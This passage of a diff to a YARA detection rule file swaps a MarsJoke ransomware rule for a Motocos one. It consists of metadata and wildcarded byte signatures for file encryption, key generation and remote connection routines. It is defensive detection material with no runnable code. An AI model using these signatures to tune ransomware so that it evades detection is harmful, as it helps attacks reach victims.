+            ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B C8 B8 ?? ?? ?? ?? 5A E8 ?? ?? ?? ?? BA ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50
+            8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C8 B8 ?? ?? ??
+            ?? 5A E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8B D3 B8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? FF 35 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            50 8B D3 B8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B D3 B8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? A1
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ??
+            E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? B2 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ??
+            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($get_key) and ($encrypt_files)
+		uint16(0)==0x5A4D and $find_files_and_encrypt and $remote_connection_1 and $remote_connection_2
 }
-rule REVERSINGLABS_Win32_Ransomware_Marsjoke : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Motocos : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects MarsJoke ransomware."
+		description = "Yara rule that detects Motocos ransomware."
 		author = "ReversingLabs"
-		id = "8164c586-f548-5414-9df8-61e0c51cbe29"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "cda44b86-c747-5b48-acd8-e68311ab24a3"
+		date = "2021-09-17"
+		modified = "2021-09-17"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.MarsJoke.yara#L1-L157"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "298b2fd99793a15b3537853289e1337648d3fa84f12038e6f6831741404b7c5c"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Motocos.yara#L1-L75"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "34b99847f029a291808f08ba6e6ae62a54e6fed5acc928fe4828054801786881"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -42108,159 +42226,68 @@ rule REVERSINGLABS_Win32_Ransomware_Marsjoke : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "MarsJoke"
+		tc_detection_name = "Motocos"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$search_and_encrypt_files = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 8B 45
-            ?? 53 56 89 44 24 ?? 8B 45 ?? 57 89 44 24 ?? 8B 45 ?? BE ?? ?? ?? ?? 33 DB 56 89 44
-            24 ?? 8D 84 24 ?? ?? ?? ?? 8B F9 53 50 89 7C 24 ?? 66 89 9C 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 83 C4 ?? 56 8D 84 24 ?? ?? ?? ?? 53 50 66 89 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 C4 ?? 8D 84 24 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 57 8D 4C 24 ?? 88 5C 24 ?? E8 ??
-            ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? 38 5C 24 ?? 0F 85 ?? ?? ?? ?? 8D 84 24 ??
-            ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 59 59 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84
-            24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 59 59 BE ?? ?? ??
-            ?? 56 8D 84 24 ?? ?? ?? ?? 50 FF D7 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 FF
-            74 24 ?? FF D7 FF 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 84 C0 8D 84 24 ?? ?? ?? ?? 75 ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? E9 ?? ?? ?? ??
-            6A ?? 50 FF D7 53 68 ?? ?? ?? ?? 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 75 ?? 56 8D 84 24 ?? ?? ?? ?? 50 FF D7 8D
-            84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E9 ?? ?? ?? ?? 8D 4C
-            24 ?? 51 50 FF 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ??
-            ?? 89 5C 24 ?? 33 DB 68 ?? ?? ?? ?? 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 53 50 89 54 24
-            ?? 89 4C 24 ?? 66 89 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 74 24 ?? 8D 84 24
-            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84
-            24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 56 8D 84 24 ?? ?? ?? ?? 50 FF
-            D7 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 53 56 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 8D
-            84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 75 ?? 56 8D 84 24 ?? ??
-            ?? ?? 50 FF D7 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 6A ?? 59 33 C0 66 89 9C 24 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? F3 AB 6A ?? FF
-            74 24 ?? 66 AB 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 8D 8C 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 53 FF 15 ?? ?? ??
-            ?? 57 53 50 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 0B 44 24 ?? 74 ?? 83 44
-            24 ?? ?? 11 5C 24 ?? EB ?? 89 7C 24 ?? 89 5C 24 ?? BF ?? ?? ?? ?? 57 E8 ?? ?? ?? ??
-            59 50 57 8B 7C 24 ?? 57 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 89 47 ?? 8B 44 24 ?? 53
-            89 47 ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 57 FF 74 24 ?? C7 47 ?? ?? ?? ?? ?? 88 5C 24
-            ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? C6 44 24 ?? ?? E9 ?? ?? ?? ?? 8B 7C 24 ?? 3B FB 89
-            5C 24 ?? 0F 8C ?? ?? ?? ?? 7F ?? 39 5C 24 ?? 0F 86 ?? ?? ?? ?? 8B 74 24 ?? 83 EE ??
-            1B FB 89 74 24 ?? 89 7C 24 ?? 89 5C 24 ?? 33 C0 EB ?? 8B 7C 24 ?? 8B 74 24 ?? 39 74
-            24 ?? 75 ?? 3B C7 75 ?? 8B 44 24 ?? 89 44 24 ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 53 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 8D 44 24 ?? 50 FF 74 24 ?? FF 74
-            24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 58 39 44 24 ?? 73 ?? 89 44 24 ?? 39 74 24
-            ?? 75 ?? 33 C0 3B C7 75 ?? 39 5C 24 ?? 7C ?? 7F ?? 83 7C 24 ?? ?? 76 ?? 8B 44 24 ??
-            83 E0 ?? 74 ?? 8B 4C 24 ?? 2B C8 03 C9 89 4C 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 74 24 ??
-            53 FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24
-            ?? 50 81 EC ?? ?? ?? ?? 6A ?? 59 8B FC FF B4 24 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? FF
-            B4 24 ?? ?? ?? ?? F3 A5 8B B4 24 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ??
-            53 8D 44 24 ?? 50 FF 74 24 ?? 56 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 68 ?? ?? ?? ??
-            53 56 74 ?? FF 15 ?? ?? ?? ?? FF 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 33 C0 3B 44 24 ??
-            0F 8C ?? ?? ?? ?? 7F ?? 8B 4C 24 ?? 3B 4C 24 ?? 0F 82 ?? ?? ?? ?? EB ?? C6 44 24 ??
-            ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 74 24 ?? FF 15 ?? ?? ?? ??
-            FF 74 24 ?? 8B 3D ?? ?? ?? ?? FF D7 FF 74 24 ?? FF D7 56 8D 84 24 ?? ?? ?? ?? 50 FF
-            15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 38 5C 24 ?? 8D 84 24
-            ?? ?? ?? ?? 75 ?? 6A ?? FF 74 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 FF 74 24 ?? 68 ?? ??
-            ?? ?? 75 ?? E8 ?? ?? ?? ?? 59 59 8D 84 24 ?? ?? ?? ?? 50 FF D6 EB ?? E8 ?? ?? ?? ??
-            59 59 B0 ?? EB ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 32 C0 8B 8C 24 ?? ?? ?? ??
-            5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
+		$generate_key = {
+            55 8B EC 83 C4 ?? 53 89 4D ?? 89 55 ?? 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 15
+            ?? ?? ?? ?? 8B 12 E8 ?? ?? ?? ?? 75 ?? B9 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 89 45 ?? 33 D2 55 68 ?? ??
+            ?? ?? 64 FF 32 64 89 22 8B 4D ?? 8B 55 ?? 8B C3 E8 ?? ?? ?? ?? 89 45 ?? 33 D2 55 68
+            ?? ?? ?? ?? 64 FF 32 64 89 22 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 8B 00 8B D8 89 5D ?? 80
+            7D ?? ?? 75 ?? 8B 5D ?? 03 DB 53 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 83 C4 ?? 53 8D 45 ?? 50 8B 45 ?? 50 6A ?? 80 7D ?? ?? F5 1B C0 50 6A ?? 8B 45
+            ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 1B C0 40 84 C0 75 ?? B9 ?? ?? ?? ?? B2 ?? A1 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B 55 ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0
+            5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ??
+            33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? C3 E9 ?? ??
+            ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ??
+            8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5B 8B E5 5D C2
         }
-		$remote_connection_2 = {
-            55 8D 6C 24 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ??
-            53 56 57 BE ?? ?? ?? ?? 56 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 04
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 56 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 83 A5 ??
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ??
-            ?? BE ?? ?? ?? ?? 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 FF B5 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ??
-            E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B C3 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ??
-            ?? 57 E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A
-            ?? 8D 5D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ??
-            ?? ?? 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 83 A5 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 57
-            8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ??
-            6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 66 83 A5 ?? ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ??
-            ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A
-            ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 85
-            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B C3
-            50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50
-            E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 59 59 5F 5E 5B 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            59 83 BD ?? ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 8B 85 ??
-            ?? ?? ?? 33 CD E8 ?? ?? ?? ?? 83 C5 ?? C9 C3
+		$encrypt_files = {
+            55 8B EC 83 C4 ?? 53 56 57 33 C9 89 4D ?? 89 4D ?? 89 55 ?? 8B 45 ?? E8 ?? ?? ?? ??
+            33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 C6 45 ?? ?? 33 D2 55 68 ?? ?? ?? ?? 64 FF
+            32 64 89 22 B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B D8 8B C3 8B D8 F6 C3 ?? 74 ?? 66 83 E3 ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B C3
+            E8 ?? ?? ?? ?? 8B D0 B1 ?? 8B 45 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B 4D ?? B2 ?? A1 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 D2
+            55 68 ?? ?? ?? ?? 64 FF 32 64 89 22 8B 45 ?? 8B 10 FF 12 8B C8 8B 55 ?? A1 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B C8 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 88 45 ?? 33 C0 5A 59 59 64
+            89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ??
+            ?? EB ?? 80 7D ?? ?? 75 ?? 8D 45 ?? 50 8B 45 ?? 89 45 ?? C6 45 ?? ?? B8 ?? ?? ?? ??
+            89 45 ?? C6 45 ?? ?? 8D 55 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ??
+            E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 1B C0 40 88 45
+            ?? 33 C0 5A 59 59 64 89 10 E9 ?? ?? ?? ?? E9
         }
-		$remote_connection_1 = {
-            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8D 85
-            ?? ?? ?? ?? 50 8B F9 8B F2 68 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? 33 DB 53 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 89 85 ?? ?? ?? ?? 66 C7 85
-            ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53
-            88 1F 50 88 1E 66 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D
-            85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 38 9D ?? ?? ??
-            ?? 59 59 75 ?? 68 ?? ?? ?? ?? C6 07 ?? E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 59 89 85 ?? ?? ?? ?? 33 F6 BB ?? ?? ?? ??
-            56 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF B5
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 53 E8 ?? ?? ?? ?? FF 85 ?? ?? ?? ??
-            46 83 FE ?? 59 59 7C ?? EB ?? 53 E8 ?? ?? ?? ?? 59 83 BD ?? ?? ?? ?? ?? 7C ?? C6 07
-            ?? 53 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 F6 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 66
-            89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ??
-            68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF
-            B5 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 50 FF
-            B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 68
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 3B C6 0F 8E ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 89 B5 ?? ?? ?? ?? 0F 84 ??
-            ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? 56 E8 ?? ??
-            ?? ?? 59 50 56 8D B5 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 8B C8 85 C9
-            89 8D ?? ?? ?? ?? 7D ?? C6 07 ?? 51 E9 ?? ?? ?? ?? 83 F9 ?? 0F 8C ?? ?? ?? ?? 83 BD
-            ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 66 83 A5 ?? ?? ?? ?? ?? 33 C0 8D BD ?? ?? ?? ?? 66
-            AB 40 3B C8 89 85 ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
-            B5 ?? ?? ?? ?? 8D 47 ?? E8 ?? ?? ?? ?? 85 C0 59 59 0F 85 ?? ?? ?? ?? 8B 77 ?? 2B 37
-            8D 46 ?? 50 E8 ?? ?? ?? ?? 59 56 6A ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 07 8B
-            8D ?? ?? ?? ?? 83 C4 ?? 03 C8 51 8B 4F ?? 2B C8 51 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 59 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 59 40 50 E8
-            ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? 8B F0 6A ?? 56 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? FF B5 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 56 53 C6 04 06 ??
-            E8 ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? 56 E8
-            ?? ?? ?? ?? 83 C4 ?? 50 56 8D B5 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6
-            3B C6 59 59 0F 8C ?? ?? ?? ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85
